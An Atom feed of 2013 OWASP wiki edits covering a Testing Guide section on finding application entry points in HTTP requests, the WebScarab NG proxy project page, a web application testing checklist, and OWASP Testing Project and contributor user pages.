* Identify all parameters used in a GET request (i.e., URL), in particular the query string (usually after a ? mark).&lt;br /&gt;
* Identify all the parameters of the query string. These usually are in a pair format, such as foo=bar. Also note that many parameters can be in one query string such as separated by a &amp;amp;, ~, :, or any other special character or encoding.&lt;br /&gt;
* A special note when it comes to identifying multiple parameters in one string or within a POST request is that some or all of the parameters will be needed to execute your attacks.  You need to identify all of the parameters (even if encoded or encrypted) and identify which ones are processed by the application.  Later sections of the guide will identify how to test these parameters. At this point, just make sure you identify each one of them.&lt;br /&gt;
* Also pay attention to any additional or custom type headers not typically seen (such as debug=False).&lt;br /&gt;
&lt;br /&gt;
'''Responses:'''&lt;br /&gt;
*Identify where new cookies are set (Set-Cookie header), modified, or added to.&lt;br /&gt;
*Identify where there are any redirects (300 HTTP status code), 400 status codes, in particular 403 Forbidden, and 500 internal server errors during normal responses (i.e., unmodified requests).&lt;br /&gt;
*Also note where any interesting headers are used. For example, &amp;quot;Server: BIG-IP&amp;quot; indicates that the site is load balanced. Thus, if a site is load balanced and one server is incorrectly configured, then you might have to make multiple requests to access the vulnerable server, depending on the type of load balancing used.&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing and example ===&lt;br /&gt;
'''Testing for application entry points:''' &amp;lt;br&amp;gt;&lt;br /&gt;
The following are two examples on how to check for application entry points.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====EXAMPLE 1====&lt;br /&gt;
This example shows a GET request that would purchase an item from an online shopping application.&lt;br /&gt;
&lt;br /&gt;
 GET https://x.x.x.x/shoppingApp/buyme.asp?CUSTOMERID=100&amp;amp;ITEM=z101a&amp;amp;PRICE=62.50&amp;amp;IP=x.x.x.x &lt;br /&gt;
 Host: x.x.x.x&lt;br /&gt;
 Cookie: SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIGZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&lt;br /&gt;
&lt;br /&gt;
Here you would note all the parameters of the request such as CUSTOMERID, ITEM, PRICE, IP, and the Cookie (which could just be encoded parameters or used for session state).&lt;br /&gt;
&lt;br /&gt;
====EXAMPLE 2====&lt;br /&gt;
This example shows a POST request that would log you into an application.&lt;br /&gt;
&lt;br /&gt;
 POST https://x.x.x.x/KevinNotSoGoodApp/authenticate.asp?service=login&lt;br /&gt;
 Host: x.x.x.x&lt;br /&gt;
 Cookie: SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIHByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMgMTIzNA==&lt;br /&gt;
 CustomCookie=00my00trusted00ip00is00x.x.x.x00&lt;br /&gt;
&lt;br /&gt;
Body of the POST message:&lt;br /&gt;
&lt;br /&gt;
 user=admin&amp;amp;pass=pass123&amp;amp;debug=true&amp;amp;fromtrustIP=true&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&lt;br /&gt;
&lt;br /&gt;
In this example you would note all the parameters as you have before but notice that the parameters are passed in the body of the message and not in the URL.  Additionally, note that there is a custom cookie that is being used.&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing and example === &lt;br /&gt;
&lt;br /&gt;
Testing for application entry points via a Gray Box methodology would consist of everything already identified above with one caveat.  This would be if there are any external sources from which the application receives data and processes it (such as SNMP traps, syslog messages, SMTP, or SOAP messages from other servers).  If there are any external sources of input into the application then a meeting with the application developers could identify any functions that would accept or expect user input and how it's formatted.  For example, the developer could help in understanding how to formulate a correct SOAP request that the application would accept and where the web service resides (if the web service or any other function hasn't already been identified during the black box testing).&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
'''Intercepting Proxy:'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*OWASP: [[OWASP WebScarab Project|Webscarab]]&lt;br /&gt;
*OWASP: [[OWASP_Zed_Attack_Proxy_Project| Zed Attack Proxy (ZAP)]]&lt;br /&gt;
*Dafydd Stuttard: Burp proxy -&lt;br /&gt;
http://portswigger.net/burp/proxy.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Browser Plug-in:'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;quot;TamperIE&amp;quot; for Internet Explorer - &lt;br /&gt;
http://www.bayden.com/TamperIE/&lt;br /&gt;
*Adam Judson: &amp;quot;Tamper Data&amp;quot; for Firefox -&lt;br /&gt;
https://addons.mozilla.org/en-US/firefox/addon/966&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1 -&lt;br /&gt;
http://tools.ietf.org/html/rfc2616&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_WebScarab_NG_Project&amp;diff=158630</id>
		<title>OWASP WebScarab NG Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_WebScarab_NG_Project&amp;diff=158630"/>
				<updated>2013-09-18T01:56:23Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Added 'OWASP Breakers' tag&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{OWASP Breakers}}&lt;br /&gt;
==== Main  ====&lt;br /&gt;
&lt;br /&gt;
{{:OWASP_WebScarab_NG_Project_Summary}}&lt;br /&gt;
&lt;br /&gt;
==New User Interface==&lt;br /&gt;
&lt;br /&gt;
As mentioned above, the user interface has changed quite a lot from the old WebScarab. Apart from the new default Look&amp;amp;Feel (JGoodies), you will see that the conversation viewer has changed quite a lot. The old &amp;quot;Raw&amp;quot; view is still there, but the Parsed version has changed quite dramatically - for the better, I hope you'll agree!&lt;br /&gt;
&lt;br /&gt;
The Parsed view now shows the request and response details in a tree form, rather than in individual text boxes. This makes the interface look a lot cleaner, and more importantly, is a lot more compact. It also makes it a lot easier to include features like automatically breaking out URL parameters, and multiple cookies into their own nodes, where it is a lot easier to view the individual parameters. We also show the request and the response next to each other, rather than one above the other, since most people seem to have more horizontal real-estate than vertical. The split between request and response can easily be adjusted by dragging, as can the split between the headers and the message content.&lt;br /&gt;
&lt;br /&gt;
[[Image:WebScarab-NG-default.png]]&lt;br /&gt;
&lt;br /&gt;
==Current status==&lt;br /&gt;
&lt;br /&gt;
At this stage, WebScarab-NG primary feature is the intercepting proxy that allows the operator to observe and modify requests from a browser or other client passing through the proxy. A new feature is the Proxy Control Bar, which is implemented as a &amp;quot;stays on top&amp;quot; tool bar that floats above your browser or other thick client, and allows you to quickly enable or disable request intercepts. It also allows you to annotate or describe the requests as they pass through the proxy. If you type some text into the annotation field, that text will be linked to the next conversation that passes through the proxy, and can later be viewed as part of the conversation history. this can be very helpful to keep track of what you were doing in a multi-step procedure.&lt;br /&gt;
&lt;br /&gt;
For example: Selecting a menu item, entering a value, submitting that value, etc. Often sites are built in such a way that they can result in dozens of conversations resulting from a single action. Annotating that conversation that initiated all the rest makes it very easy to identify them at a later stage.&lt;br /&gt;
&lt;br /&gt;
[[Image:WebScarab-NG-proxy-control-bar.png]]&lt;br /&gt;
&lt;br /&gt;
==Error feedback==&lt;br /&gt;
&lt;br /&gt;
One of the neat features provided by the Spring Rich Client Platform is the ability to check that the inputs actually make sense, and to provide automated &amp;quot;as you type&amp;quot; feedback to the user.&lt;br /&gt;
&lt;br /&gt;
For example, look at the &amp;quot;Intercept Request&amp;quot; window:&lt;br /&gt;
&lt;br /&gt;
[[Image:WebScarab-NG-intercept-request-error.png]]&lt;br /&gt;
&lt;br /&gt;
We can see that the user tried to change the method from &amp;quot;POST&amp;quot; to &amp;quot;PROST&amp;quot;. WebScarab-NG has no idea how to execute a &amp;quot;PROST&amp;quot; method, and so provides an error message to inform the user. Additionally, the OK button is automatically disabled, until the error is corrected.&lt;br /&gt;
&lt;br /&gt;
==Obtaining WebScarab-NG==&lt;br /&gt;
&lt;br /&gt;
WebScarab-NG is distributed via Google Code, and can be obtained [https://code.google.com/p/webscarab-ng/downloads/list here].&lt;br /&gt;
&lt;br /&gt;
After extraction of files user need to run following command:&lt;br /&gt;
 java -jar WebScarab-ng-X.X.X.one-jar.jar&lt;br /&gt;
where X.X.X is downloaded version or use one of scripts (start.sh for Linux, start.bat for Windows). &lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
&lt;br /&gt;
Technical information for those interested in digging into it can be found [[ OWASP WebScarab NG Project Technical Info | here]].&lt;br /&gt;
&lt;br /&gt;
This page lists the [[OWASP_WebScarab_Differences_%28Classic_vs_NG%29 | differences between WebScarab Classic and WebScarab NG]], including a ToDo list of work still to be done on WebScarab NG.&lt;br /&gt;
&lt;br /&gt;
==Tips &amp;amp; Tricks==&lt;br /&gt;
&lt;br /&gt;
WebScarab NG already contains a lot of functionality but some of them are well hidden beneath the GUI and nowhere documented. &lt;br /&gt;
A list of such functions can be found in the [[OWASP_WebScarab_NG_Tips_&amp;amp;_Tricks|Tips &amp;amp; Tricks of WebScarab NG]] section.&lt;br /&gt;
&lt;br /&gt;
==Bugs==&lt;br /&gt;
&lt;br /&gt;
Any found bugs should be reported via [https://code.google.com/p/webscarab-ng/issues/list WebScarab NG Google Code issues page]. Such mechanism allows us to keep track of all found problems so we can WebScarab-NG better. &lt;br /&gt;
&lt;br /&gt;
==Feedback==&lt;br /&gt;
&lt;br /&gt;
If you have any comments or suggestions for WebScarab-NG, please feel free to post them on [https://code.google.com/p/webscarab-ng/issues/list WebScarab NG Google Code issues page] or send them to the [http://lists.owasp.org/mailman/listinfo/owasp-webscarab OWASP WebScarab mailing list]&lt;br /&gt;
&lt;br /&gt;
Your feedback is much appreciated, and will be carefully considered for future releases of WebScarab-NG.&lt;br /&gt;
&lt;br /&gt;
==Project Contributors==&lt;br /&gt;
&lt;br /&gt;
The WebScarab-NG project is run by Daniel Brzozowski. He can be contacted at [[File:Db.png]].&lt;br /&gt;
&lt;br /&gt;
==== Project About ====&lt;br /&gt;
{{:Projects/OWASP WebScarab NG Project | Project About}}&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|WebScarab NG Project]]&lt;br /&gt;
[[Category:OWASP_Tool]]&lt;br /&gt;
[[Category:OWASP_Download]]&lt;br /&gt;
[[Category:OWASP_Alpha_Quality_Tool]]&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Review_webpage_comments_and_metadata_for_information_leakage_(OTG-INFO-005)&amp;diff=158626</id>
		<title>Talk:Review webpage comments and metadata for information leakage (OTG-INFO-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Review_webpage_comments_and_metadata_for_information_leakage_(OTG-INFO-005)&amp;diff=158626"/>
				<updated>2013-09-18T01:16:10Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Started 'Include Specific Information About Reviewing Comments'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Include Specific Information About Reviewing Comments ==&lt;br /&gt;
&lt;br /&gt;
I think it's important to include specific details about reviewing page comments (html, javascript, css, etc) for sensitive details here in addition to the meta tags. [[User:Glenn &amp;amp;#39;devalias&amp;amp;#39; Grant|Glenn &amp;amp;#39;devalias&amp;amp;#39; Grant]] ([[User talk:Glenn &amp;amp;#39;devalias&amp;amp;#39; Grant|talk]]) 20:16, 17 September 2013 (CDT)&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_Checklist&amp;diff=158625</id>
		<title>Testing Checklist</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_Checklist&amp;diff=158625"/>
				<updated>2013-09-17T23:41:32Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Converted 'Information Gathering' to use wiki table style (initial)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
The following is the list of controls to test during the assessment:&lt;br /&gt;
&lt;br /&gt;
{|&lt;br /&gt;
|colspan=&amp;quot;4&amp;quot; style=&amp;quot;text-align:center; font-weight: bold;&amp;quot;| Information Gathering&lt;br /&gt;
|-&lt;br /&gt;
! Category	!!  Ref. Number	 !!  Test Name	!!   Vulnerability&lt;br /&gt;
|-&lt;br /&gt;
| OWASP-IG-001 || 4.2.1 || Spiders, Robots and Crawlers            || N.A.&lt;br /&gt;
|-&lt;br /&gt;
| OWASP-IG-002 || 4.2.2 || Search Engine Discovery/Reconnaissance  || N.A.&lt;br /&gt;
|-&lt;br /&gt;
| OWASP-IG-003 || 4.2.3 || Identify application entry points       || N.A.&lt;br /&gt;
|-&lt;br /&gt;
| OWASP-IG-004 || 4.2.4 || Testing for Web Application Fingerprint || N.A.&lt;br /&gt;
|-&lt;br /&gt;
| OWASP-IG-005 || 4.2.5 || Application Discovery                   || N.A.&lt;br /&gt;
|-&lt;br /&gt;
| OWASP-IG-006 || 4.2.6 || Analysis of Error Codes                 || Information Disclosure&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
'''Configuration Management Testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-001	- 4.3.1 SSL/TLS Testing (SSL Version, Algorithms, Key length, Digital Cert. Validity)	- SSL Weakness&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-002	- 4.3.2 DB Listener Testing 	- DB Listener weak&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-003	- 4.3.3 Infrastructure Configuration Management Testing 	- Infrastructure Configuration management weakness&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-004	- 4.3.4 Application Configuration Management Testing 	- Application Configuration management weakness&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-005	- 4.3.5 Testing for File Extensions Handling 	- File extensions handling&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-006	- 4.3.6 Old, backup and unreferenced files 	- Old, backup and unreferenced files&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-007	- 4.3.7 Infrastructure and Application Admin Interfaces 	- Access to Admin interfaces&lt;br /&gt;
&lt;br /&gt;
OWASP-CM-008	- 4.3.8 Testing for HTTP Methods and XST	- HTTP Methods enabled, XST permitted, HTTP Verb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Authentication Testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-001	- 4.4.1 Credentials transport over an encrypted channel 	- Credentials transport over an encrypted channel&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-002	- 4.4.2 Testing for user enumeration 	- User enumeration&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-003	- 4.4.3 Testing for Guessable (Dictionary) User Account 	- Guessable user account&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-004	- 4.4.4 Brute Force Testing 	- Credentials Brute forcing &lt;br /&gt;
&lt;br /&gt;
OWASP-AT-005	- 4.4.5 Testing for bypassing authentication schema 	- Bypassing authentication schema&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-006	- 4.4.6 Testing for vulnerable remember password and pwd reset 	- Vulnerable remember password, weak pwd reset&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-007	- 4.4.7 Testing for Logout and Browser Cache Management -	- Logout function not properly implemented, browser &lt;br /&gt;
cache weakness&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-008 - 4.4.8 Testing for CAPTCHA   - Weak Captcha implementation&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-009 - 4.4.9 Testing Multiple Factors Authentication - Weak Multiple Factors Authentication&lt;br /&gt;
&lt;br /&gt;
OWASP-AT-010 - 4.4.10 Testing for Race Conditions - Race Conditions vulnerability&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Session Management	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-SM-001	- 4.5.1 Testing for Session Management Schema	- Bypassing Session Management Schema, Weak Session Token&lt;br /&gt;
&lt;br /&gt;
OWASP-SM-002	- 4.5.2 Testing for Cookies attributes	        - Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity&lt;br /&gt;
&lt;br /&gt;
OWASP-SM-003    - 4.5.3 Testing for Session Fixation              - Session Fixation&lt;br /&gt;
&lt;br /&gt;
OWASP-SM-004	- 4.5.4 Testing for Exposed Session Variables 	- Exposed sensitive session variables&lt;br /&gt;
&lt;br /&gt;
OWASP-SM-005	- 4.5.5 Testing for CSRF 	                        - CSRF&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Authorization Testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-AZ-001	- 4.6.1 Testing for Path Traversal 	- Path Traversal&lt;br /&gt;
&lt;br /&gt;
OWASP-AZ-002	- 4.6.2 Testing for bypassing authorization schema 	- Bypassing authorization schema&lt;br /&gt;
&lt;br /&gt;
OWASP-AZ-003	- 4.6.3 Testing for Privilege Escalation	- Privilege Escalation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Business logic testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-BL-001	- 4.7 Testing for Business Logic	- Bypassable business logic&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Data Validation Testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-001	- 4.8.1 Testing for Reflected Cross Site Scripting - Reflected XSS&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-002	- 4.8.2 Testing for Stored Cross Site Scripting - Stored XSS&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-003	- 4.8.3 Testing for DOM based Cross Site Scripting - DOM XSS&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-004	- 4.8.4 Testing for Cross Site Flashing	- Cross Site Flashing&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-005	- 4.8.5 SQL Injection	- SQL Injection&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-006	- 4.8.6 LDAP Injection - LDAP Injection  &lt;br /&gt;
&lt;br /&gt;
OWASP-DV-007	- 4.8.7 ORM Injection - ORM Injection&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-008	- 4.8.8 XML Injection - XML Injection&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-009	- 4.8.9 SSI Injection - SSI Injection&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-010	- 4.8.10 XPath Injection	- XPath Injection&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-011	- 4.8.11 IMAP/SMTP Injection - IMAP/SMTP Injection&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-012	- 4.8.12 Code Injection	- Code Injection&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-013	- 4.8.13 OS Commanding	- OS Commanding&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-014	- 4.8.14 Buffer overflow	- Buffer overflow&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-015	- 4.8.15 Incubated vulnerability	- Incubated vulnerability&lt;br /&gt;
&lt;br /&gt;
OWASP-DV-016	- 4.8.16 Testing for HTTP Splitting/Smuggling	- HTTP Splitting, Smuggling&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service Testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-DS-001    - 4.9.1 Testing for SQL Wildcard Attacks   - SQL Wildcard vulnerability&lt;br /&gt;
&lt;br /&gt;
OWASP-DS-002	- 4.9.2 Locking Customer Accounts	- Locking Customer Accounts&lt;br /&gt;
&lt;br /&gt;
OWASP-DS-003    - 4.9.3 Testing for DoS Buffer Overflows - Buffer Overflows&lt;br /&gt;
&lt;br /&gt;
OWASP-DS-004	- 4.9.4 User Specified Object Allocation	- User Specified Object Allocation&lt;br /&gt;
&lt;br /&gt;
OWASP-DS-005	- 4.9.5 User Input as a Loop Counter	- User Input as a Loop Counter&lt;br /&gt;
&lt;br /&gt;
OWASP-DS-006	- 4.9.6 Writing User Provided Data to Disk	- Writing User Provided Data to Disk&lt;br /&gt;
&lt;br /&gt;
OWASP-DS-007	- 4.9.7 Failure to Release Resources	- Failure to Release Resources&lt;br /&gt;
&lt;br /&gt;
OWASP-DS-008	- 4.9.8 Storing too Much Data in Session	- Storing too Much Data in Session&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
'''Web Services Testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-WS-001    - 4.10.1 WS Information Gathering - N.A.&lt;br /&gt;
&lt;br /&gt;
OWASP-WS-002    - 4.10.2 Testing WSDL - WSDL Weakness&lt;br /&gt;
&lt;br /&gt;
OWASP-WS-003	- 4.10.3 XML Structural Testing	- Weak XML Structure&lt;br /&gt;
&lt;br /&gt;
OWASP-WS-004	- 4.10.4 XML content-level Testing - XML content-level &lt;br /&gt;
&lt;br /&gt;
OWASP-WS-005	- 4.10.5 HTTP GET parameters/REST Testing - WS HTTP GET parameters/REST &lt;br /&gt;
&lt;br /&gt;
OWASP-WS-006	- 4.10.6 Naughty SOAP attachments - WS Naughty SOAP attachments&lt;br /&gt;
&lt;br /&gt;
OWASP-WS-007	- 4.10.7 Replay Testing - WS Replay Testing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajax Testing	'''&lt;br /&gt;
&lt;br /&gt;
OWASP-AJ-001	- 4.11.1 AJAX Vulnerabilities - N.A.&lt;br /&gt;
&lt;br /&gt;
OWASP-AJ-002	- 4.11.2 AJAX Testing - AJAX weakness&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_Table_of_Contents&amp;diff=158624</id>
		<title>OWASP Testing Guide Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_Table_of_Contents&amp;diff=158624"/>
				<updated>2013-09-17T23:27:33Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Changed V2 to V3, Redirect to v3&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[OWASP_Testing_Guide_v3_Table_of_Contents]]&lt;br /&gt;
&lt;br /&gt;
Note: This page is not in use any more since it contained the 1st version of the OWASP Testing guide&lt;br /&gt;
&lt;br /&gt;
PLEASE, REFER TO THIS URL FOR THE TESTING GUIDE V3:&lt;br /&gt;
http://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Glenn_%27devalias%27_Grant&amp;diff=158623</id>
		<title>User:Glenn 'devalias' Grant</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Glenn_%27devalias%27_Grant&amp;diff=158623"/>
				<updated>2013-09-17T23:17:50Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Added advisories (Symantec Web Gateway XSS, Cloudflare XSS)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Developer, part time security researcher, ethical hacker, geek.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Find me around the web ==&lt;br /&gt;
&lt;br /&gt;
* '''Tech Blog''' http://blog.devalias.net/&lt;br /&gt;
* '''Website''' http://www.devalias.net/&lt;br /&gt;
* '''Twitter''' https://twitter.com/_devalias&lt;br /&gt;
* '''Github''' https://github.com/alias1&lt;br /&gt;
&lt;br /&gt;
== Advisories/Etc ==&lt;br /&gt;
&lt;br /&gt;
* '''25 July 2013''' [http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&amp;amp;pvid=security_advisory&amp;amp;year=&amp;amp;suid=20130725_00 SYM13-008 Symantec Web Gateway Security Issues]&lt;br /&gt;
* '''22 August 2013''' [http://seclists.org/fulldisclosure/2013/Aug/232 DAHAX-2013-001 Cloudflare XSS Vulnerability ]&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Glenn_%27devalias%27_Grant&amp;diff=158622</id>
		<title>User:Glenn 'devalias' Grant</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Glenn_%27devalias%27_Grant&amp;diff=158622"/>
				<updated>2013-09-17T23:09:13Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Added website, blog, twitter, github&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Developer, part time security researcher, ethical hacker, geek.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Find me around the web ==&lt;br /&gt;
&lt;br /&gt;
* http://blog.devalias.net/&lt;br /&gt;
* http://www.devalias.net/&lt;br /&gt;
* https://twitter.com/_devalias&lt;br /&gt;
* https://github.com/alias1&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Project&amp;diff=158621</id>
		<title>OWASP Testing Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Project&amp;diff=158621"/>
				<updated>2013-09-17T23:00:22Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Add 'OWASP Breakers' template tag&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{OWASP Breakers}}&lt;br /&gt;
{{OWASP Book|5691953}}&lt;br /&gt;
{{Social Media Links}}&lt;br /&gt;
&lt;br /&gt;
= New OWASP Testing Guide  =&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v4  ==&lt;br /&gt;
&lt;br /&gt;
We are writing the new guide!&amp;lt;br&amp;gt;&lt;br /&gt;
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/images/b/b2/OWASP_Testing_Guide_-_OWASP_Summit_2011.pdf | Roadmap has been defined at the OWASP Summit 2011. Here you can see the last presentation we did].&lt;br /&gt;
&lt;br /&gt;
= Old OWASP Testing Guides =&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v3  ==&lt;br /&gt;
&lt;br /&gt;
16th December 2008: OWASP Testing Guide v3 is finished!&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
*You can download the Guide in PDF [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &lt;br /&gt;
*Download the presentation [https://www.owasp.org/images/2/2c/OWASP_EU_Summit_2008_OWASP_Testing_Guide_v3.ppt here] &lt;br /&gt;
*Browse the Testing Guide v3 on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents here]&lt;br /&gt;
&lt;br /&gt;
''''NEW: OWASP projects and resources you can use TODAY''''&amp;lt;br&amp;gt;&lt;br /&gt;
16th April 2010 in London, OWASP leaders deliver a course focused on the main OWASP Projects.&amp;lt;br&amp;gt;&lt;br /&gt;
Matteo Meucci will deliver a training course on the OWASP Testing Guide v3. &amp;lt;br&amp;gt;&lt;br /&gt;
More information [http://www.owasp.org/index.php/London/Training/OWASP_projects_and_resources_you_can_use_TODAY here]&lt;br /&gt;
&lt;br /&gt;
Video @ FOSDEM 09: [http://fosdem.unixheads.org/2009/maintracks/owasp.ogv here] &lt;br /&gt;
&lt;br /&gt;
Citations:&lt;br /&gt;
&lt;br /&gt;
http://www.owasp.org/index.php/Testing_Guide_Quotes&lt;br /&gt;
&lt;br /&gt;
== Overview  ==&lt;br /&gt;
&lt;br /&gt;
This project's goal is to create a &amp;quot;best practices&amp;quot; web application penetration testing framework which users can implement in their own organizations and a &amp;quot;low level&amp;quot; web application penetration testing guide that describes how to find certain issues. &lt;br /&gt;
&lt;br /&gt;
Version 3 of the Testing Guide was released in December 2008 after going through a major upgrade through the [[OWASP Summer of Code 2008]]. &lt;br /&gt;
&lt;br /&gt;
= Background and Motivation  =&lt;br /&gt;
&lt;br /&gt;
'''History Behind Project''' The OWASP Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to [[User:EoinKeary|Eoin Keary]] in 2005 and moved onto the new OWASP wiki when it came online. Being in a wiki is easier for people to contribute and has made updating much easier. [[User:Mmeucci|Matteo Meucci]] took on the Testing guide after Eoin and shepherded it through the version 2 and version 3 updates, which have been significant improvements. &lt;br /&gt;
&lt;br /&gt;
= Project History  =&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v3  ==&lt;br /&gt;
&lt;br /&gt;
Testing Guide v3: plan (archive) &lt;br /&gt;
&lt;br /&gt;
26th April 2008: Version 3 of the Testing Guide started under [[OWASP Summer of Code 2008]]. &lt;br /&gt;
&lt;br /&gt;
6th November 2008: Completed draft created and previewed at [[OWASP EU Summit 2008|OWASP EU Summit 2008 in Portugal]]. &lt;br /&gt;
&lt;br /&gt;
Final stable release in December 2008 &lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v2  ==&lt;br /&gt;
&lt;br /&gt;
'''10th February 2007: The OWASP Testing Guide v2 is now published''' [[User:Mmeucci|Matteo Meucci]] (as part of his [[OWASP Autumn of Code 2006 - Projects: Testing Guide|AoC project]]) has just published the latest version of Testing guide which: &lt;br /&gt;
